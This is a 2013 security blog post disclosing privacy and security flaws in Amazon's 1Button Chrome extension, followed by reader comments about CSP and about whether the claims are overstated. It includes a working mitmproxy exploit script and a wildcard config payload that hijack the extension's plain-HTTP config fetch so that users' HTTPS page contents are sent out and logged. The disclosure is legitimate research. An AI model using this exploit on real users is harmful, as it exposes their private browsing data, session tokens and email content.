Thursday, July 11, 2013

Jealous of PRISM? Use "Amazon 1 Button" Chrome extension to sniff all HTTPS websites!

tldr: Insecure browser addons may leak all your encrypted SSL traffic, exploits included

So, Snowden let the cat out of the bag. They're listening - the news are so big, that feds are no longer welcome at DEFCON. But let's all be honest - who doesn't like to snoop into other person's secrets? We all know how to set up rogue AP and use ettercap. Setting up your own wall of sheep is trivial. I think we can safely assume - plaintext traffic is dead easy to sniff and modify.

The real deal though is in the encrypted traffic. In browser's world that means all the juicy stuff is sent over HTTPS. Though intercepting HTTPS connections is possible, we can only do it via:
  • hacking the CA
  • social engineering (install the certificate) 
  • relying on click-through syndrome for SSL warnings
Too hard. Let's try some side channels. Let me show you how you can view all SSL encrypted data, via exploiting Amazon 1Button App installed on your victims' browsers.  

The extension info

Some short info about our hero of the day:

Amazon 1Button App Chrome extension
Version: 3.2013.627.0
Updated: June 28, 2013

1,791,011 users (scary, becase the extension needs the following permissions):

Amazon cares for your privacy...not

First, a little info about how it abuses your privacy, in case you use it already (tldr; uninstall NOW!). There's a few interesting things going on (all of them require no user interaction and are based on default settings):

It reports to Amazon every URL you visit, even HTTPS URLs.

GET /gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ HTTP/1.1
Host: www.amazon.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Referer: https://gist.github.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6
Cookie: lots-of-amazon-cookies
Unfortunately, this request goes over HTTPS, so only Amazon can know your URLs. You might want to look at Firefox version of the extension though (hint, hint).

It's against what they claim in their Privacy Policy:
The Amazon Browser Apps may also collect information about the websites you view, but that information is not associated with your Amazon account or identified with you. 
Well, request to https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ sends a lot of my Amazon cookies, doesn't it? But that's just a start.

Amazon XSS-es every website you visit

So called SIA feature of the extension is just that:
// main.js in extension code
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
    if (siaEnabled && changeInfo.status === 'complete') {
        Logger.log('Injecting SIA');
        storage.get('options.ubp_root', function(options_root) {
            var root = options_root['options.ubp_root']
            chrome.tabs.executeScript(null, { code: "(function() { var s = document.createElement('script'); s.src = \"" + root + "/gp/bit/apps/web/SIA/scraper?url=\" + document.location.href; document.body.appendChild(s);}());" });
        });
    }
});
So, it attaches external <script> on any website, and its code can be tailored to the exact URL of the page. To be fair, currently the script for all tested websites is just a harmless function.
 
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Jul 2013 11:14:34 GMT
Content-Type: text/javascript; charset=UTF-8
...
 
(function(window,document){})(window,document);
So it's just like a ninja sent to every house that just awaits for further orders. /me doesn't like this anyway. Who knows what sites are modified, maybe it depends on your location, Amazon ID etc.

It reports contents of certain websites you visit to Alexa

Yes, not just URLs. For example, your Google searches over HTTPS, and a few first results are now known to Alexa as well.
POST http://widgets.alexa.com/traffic/rankr/?ref=https%3A%2F%2Fwww.google.pl%2Fsearch%3F...t%2526q%253Dhow%252Bto%252Boverthrow%252Ba%252Bgovernment... HTTP/1.1
Host: widgets.alexa.com
Proxy-Connection: keep-alive
Content-Length: 662
accept: application/xml
Origin: chrome-extension://pbjikboenpfhbbejgkoklgkhjpfogcam
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Content-Type: text/plain; charset=UTF-8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6
Cookie: aid=JRDTh1rpFM00ES

http://rense.com/general50/hwt.htm
http://en.wikipedia.org/wiki/Coup_d'%C3%A9tat
http://www.law.cornell.edu/uscode/text/18/2385
http://www.thefreedictionary.com/overthrow
http://io9.com/5574009/how-to-overthrow-the-government-tips-from-10-science-fiction-revolutionaries
http://williamblum.org/essays/read/overthrowing-other-peoples-governments-the-master-list
http://www.telegraph.co.uk/news/worldnews/northamerica/usa/9504380/US-soldiers-plotted-to-overthrow-government.html
http://ariannaonline.huffingtonpost.com/books/overthrow/
http://www.amazon.com/How-Overthrow-Government-Arianna-Huffington/dp/B000C4SYPC
http://codes.lp.findlaw.com/uscode/18/I/115/2385
Here's exemplary Google search and a view of what's sent over the proxy.
 
Notice that the URL and extracted page information travels over HTTP to http://widgets.alexa.com. So in man-in-the-middle attackers can access the information that extension is configured to send to Alexa.

Bottom line - Amazon is evil.

Amazon, did you just.... really?!

The real problem though is that attackers can actively exploit described extension features to hijack your information, e.g. get access to your HTTPS URLs and page contents. Extension dynamically configures itself by fetching information from Amazon. Namely, upon installation (and then periodically) it requests and processes two config files. Exemplary config is presented below:
// httpsdatalist.dat
[
  "https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]"
]
// search_conf.js
{
  "google" : {
    "urlexp" : "http(s)?:\\/\\/www\\.google\\..*\\/.*[?#&]q=([^&]+)",
    "rankometer" :  {
      "url"   :"http(s)?:\\/\\/(www(|[0-9])|encrypted)\\.(|l\\.)google\\..*\\/",
      "reload": true,
      "xpath" : {
        "block": [
          "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
          "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]",
          "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]"
        ],
        "insert" : [
          "./div/div/div/cite",
          "./div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite",
          "./div/div/div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite"
        ],
        "target" : [
          "./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
          "./h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href",
          "./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href"
        ]
      }
    },
    ...
  },
  ...
First file defines what HTTPS sites can be inspected. The second file defines URL patterns to watch for, and XPath expressions to extract content being reported back to Alexa. The files are fetched from these URLs:
Yes. The configuration for reporting extremely private data is sent over plaintext HTTP. WTF, Amazon?

Exploitation

Exploiting this is very simple:
  1. Set up/simulate a HTTP man-in-the-middle
  2. Listen for HTTP requests for above config files
  3. Respond with wildcard configuration (listen to all https:// sites & extract whole body)
  4. Log all subsequest HTTP requests to Alexa, gathering previously encrypted client webpages.
For demonstration purposes, I've made a mitmproxy script that converts Amazon 1Button Chrome extension to poor man's transparent HTTPS->HTTP proxy.
#!/usr/bin/env python

def start(sc):
    sc.log("Amazon One Click pwner started")

def response(sc, f):
    if f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/search_conf.js'):
        f.response.decode() # removes gzip header
        f.response.content = open('pwn.json','r').read()
    elif f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat'):
        f.response.decode() # removes gzip header
        f.response.content = '["https://"]' # log'em all


def request(sc, f):
    if f.request.path.startswith('/traffic/rankr/'):
        q = f.request.get_query()
        p = q.get_first('ref')
        if p and f.request.content:
            c = open('pwn.log', 'a')
            c.write(p + "\n" + f.request.get_decoded_content() + "\n============\n")
            c.close()

and complimetary pwn.json:

{
  "pwn" : {
    "urlexp" : "http(s)?:\\/\\/",
    "rankometer" :  {
      "url"   :"http(s)?:\\/\\/",
      "reload": true,
      "xpath" : {
        "block": [
          "//html"
        ],
        "insert" : [
          "//html"
        ],
        "target" : [
          "//html"
         ]
      }
    },
    "cba" : {
        "url"   :"http(s)?:\\/\\/",
        "reload": true
    }
  }
}
To start the attack, simply route all HTTP (port 80) traffic to mitmproxy and launch the script:
$ mitmproxy -s pwn.py
Now install the extension in your Chrome (or disable and enable it to quickly reload configuration) and start browsing. All captured HTTPS data will be in pwn.log file.



Exploit source: GitHub

Limitations

  • We are limited to XPath expressions to retrieve content, so I can't return the usual HTML source, nor can I access headers etc. The closest I got is string value of //html node, which is somewhat the content of all text nodes on a page
  • AJAX applications snooping works poorly, as the extension does not report XMLHttpRequest responses
  • We are only passively listening, no option to modify traffic 
Nevertheless, there's plenty of private info in captured traffic. CSRF tokens, session ids, email contents, Google Drive document content, you name it. Thank you, Amazon, for protecting my privacy. But seriously - move all your extension traffic to HTTPS only. Better yet, remove the tracking code altogether.

I've done other research on Google Chrome extension security, read more if you found the topic interesting.

Update: One day after the publication, Amazon did not stop tracking, but fixed the vulnerability - the config links are now served over HTTPS. Once again, full disclosure helped the common folks' security.

16 comments:

Sergey Shekyan said...

Are websites that use CSP protected from this? Or extensions are above CSP ?

moebius_eye said...

Nice find! This inspires me to install a bunch of commercial extentions And perform tests.

Sergey Shekyan said...

Replying to myself, CSP should handle this.. https://developer.chrome.com/extensions/contentSecurityPolicy.html

kkotowicz said...

Good question - I've just checked that. https://www.sendsafely.com/ has a strict CSP:

X-Content-Security-Policy:
default-src 'none'; connect-src 'self'; script-src https://static.sendsafely.com https://www.google.com https://ssl.google-analytics.com; style-src 'self' 'unsafe-inline'; img-src 'self' https://www.google.com https://ssl.google-analytics.com; report-uri /csp-reports;

But it doesn't help, content still gets extracted.

CSP will only protect you when something loads a script into the DOM of the page, but in this case an external script (from chrome-extension:// protocol ) is run by the browser directly and that bypasses CSP. Basically, all chrome extensions (depending on their permissions) can run scripts on pages regardless of CSP.

kkotowicz said...

That's about CSP bundled with the extension (i.e. protection from XSSing the extension code itself). In this case we're only concerned with website's CSP - and that protection is simply bypassed by how Chrome extensions work.

Sergey Shekyan said...

Didn't see your comment. That sucks! Common sense tells me that 'chrome-extension' shouldn't be above other schemes, if website decides so.

dailysecnews said...

+1 for the use of mitmproxy

Eamon Nerbonne said...

I think it's somewhat inevitable - the whole point of extensions is to alter the way the user views & interacts with websites, and at the end of the day, that's the users choice. Perhaps the browser could warn them a little more aggressively, and perhaps the extension security model could be improved, but I'm not holding my breath.


A much worse issue in my mind is the terrible security say-OK-to-everything model in the mobile app world, and google (and apple) don't seem to be in a hurry to fix that either.

Lior said...

Try PriceDrop instead to follow Amazon product prices: http://pricedrop.stuffstuff.org . It's not evil.

Adam Muntner said...

"The
Amazon Browser Apps may also collect information about the websites you
view, but that information is not associated with your Amazon account
or identified with you."

"Well, request to https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ sends a lot of my Amazon cookies, doesn't it? But that's just a start."

While
the data is sent to Amazon, that doesn't imply what happens on the
other side. The best you can say is that Amazon *could* be logging it.
but then they also might not be. It also could be that they aren't and
that the cookies are used just for authentication, preventing the
listener from collecting garbage data. If I did a code review on such a
system, I'd point out the possibility of abuse if it were designed that
way, and make sure that the cookie is used only for authentication but
not stored with the data. But we just don't know what they're doing. So
that's a problem, but it's overstated by the author.

"Amazon XSS-es every website you visit"

A plugin injecting a script and XSS are *not* the same thing.

"All captured HTTPS data will be in pwn.log file."
"We
are limited to XPath expressions to retrieve content, so I can't return
the usual HTML source, nor can I access headers etc. The closest I got
is string value of //html node, which is somewhat the content of all
text nodes on a page"

All *captured HTTPS DATA*. It's a little misleading because all HTTPS data isn't captured.

My analysis: this isn't awesome sauce, but the post is overstating the case.

The
Alexa stuff is more worrying, but you didn't discuss the Alexa AID tracking cookie in depth. Alexa being included at all is troubling because user didn't install an Alexa toolbar, they
installed an Amazon toolbar.

kkotowicz said...

Thanks for insightful comments, I'd like to address the points you raised:

1. Amazon being sent vs collecting data
Yes, I cannot know how are they using the data, but the fact that it's accessible to them is enough for me to raise the point. I honestly don't believe that it's being only done as a mistake and the cookies are discarded. It's very sensitive data, they should design the data collection adhering to their own Privacy Policy.

2. "A plugin injecting a script and XSS are *not* the same thing."
XSS is exactly that - code being injected into a benign page by an outside party (attacker). They are abusing Chrome extension infrastructure to inject the code (so they don't need a vulnerability in a website), and the code can be tailored to the user & the exact site. XSS payload does not have to be malicious. Alert(1) is also a totally harmful code, just like an empty function() that they run. But they're actively injecting it, performing an XSS attack on all websites (apart from CSP-protected site, but that's another story)

3. "All captured HTTPS data will be in pwn.log file." vs XPath data. That might be confusing as you pointed out. Not to overstate the issue though, I clearly describe & demo what is actually captured. What I meant is "all _captured_ HTTPS data", not "all HTTPS data". Still, even the limited dataset leaked is a huge deal for me and contains a lot information that could be used in further, targetted attacks.

Leena said...

Great work!

Manuel Dejonghe said...

thank you very much for bringing this to our attention and hence, get them to fix it !

curious said...

Can you elaborate on your Firefox findings? When playing with extension v4.0 for Firefox, I don't see the Chrome-style tracking, just a 403 from amzntbassist.s3.amazonaws.com....

Sanchez Diaz said...

Can you post the code for the old vulnerable extension?

Anonymous said...

Ridiculous story there. What happened after? Good luck!


my web page baby shower planning